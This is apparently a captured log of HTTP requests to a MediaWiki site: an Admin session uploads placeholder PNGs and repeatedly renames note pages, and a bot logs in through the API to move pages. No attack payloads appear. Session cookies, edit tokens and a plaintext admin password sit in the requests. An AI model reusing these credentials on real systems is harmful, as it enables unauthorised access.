{"method": "GET", "target": "/index.php/File:Notes_on_powershell.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/images/6/64/Notes_on_powershell.png?_=20261109210516", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_powershell.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20ls%20-la.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1178", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFjYhcLM0KCdNU1Yr", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": "------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on ls -la.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdcH\ufffd\u0002\u0000\u0002\ufffd\u0001K\ufffdT\ufffdF\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_ls_-la.png\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on ls -la\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n17308033f79e760cc2a6dd6065044caf6af2358c+\\\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_ls_-la.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/images/3/32/Notes_on_ls_-la.png?_=20261109210518", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_ls_-la.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20.htaccess.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1187", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeEXz4cjBllRc2Dm3", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": "------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\u024b\u0002\u0000\u0002\ufffd\u0001U\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_.htaccess.png\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on .htaccess\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7621d6909750a29418bd130dc29d97d56af2358e+\\\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_.htaccess.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/images/d/d9/Notes_on_.htaccess.png?_=20261109210520", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_.htaccess.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Lighthouse_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Lighthouse_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Special:MovePage/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=z4uar", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:MovePage/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 210", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=Python3+notes&wpReasonList=other&wpReason=Notes+on+python3&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Lighthouse+notes&wpEditToken=d1ffba0f229e323bf8aa2617d291bac66af23590%2B%5C"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:MovePage&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Python3_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Python3_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 213", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Python3_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=Powershell+notes&wpReasonList=other&wpReason=Notes+on+powershell&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Python3+notes&wpEditToken=7f643ac1a17a39e1e0ff5df7159bf6cc6af23592%2B%5C"}
{"method": "GET", "target": "/index.php/Powershell_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794258324%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Powershell_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794258324%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 208", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Powershell_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794258324%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=Ls+-la+notes&wpReasonList=other&wpReason=Notes+on+ls+-la&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Powershell+notes&wpEditToken=fe7f02b3136bec89a88a4937d9daf0ba6af23594%2B%5C"}
{"method": "GET", "target": "/index.php/Ls_-la_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794258326%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Ls_-la_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794258326%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 210", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Ls_-la_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794258326%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=.htaccess+notes&wpReasonList=other&wpReason=Notes+on+.htaccess&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Ls+-la+notes&wpEditToken=0e23055d6e423980b74345e15b657b976af23596%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=login&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 174", "Host: example.com", "Cookie: my_wiki_session=3srg8tikpo4r3r9bbl7t5g724a87ckd7", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=login&lgname=Admin&lgpassword=Notes+on+python3%2C+powershell%2C+ls+-la+and+.htaccess&lgtoken=a8851fd2321f3fac2b6b2a6b4e4f60f46af23598%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 174", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Lighthouse+API+notes&to=Python3+API+notes&reason=Notes+on+python3&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 177", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4; cpPosIndex=2%401794258329%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Python3+API+notes&to=Powershell+API+notes&reason=Notes+on+powershell&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
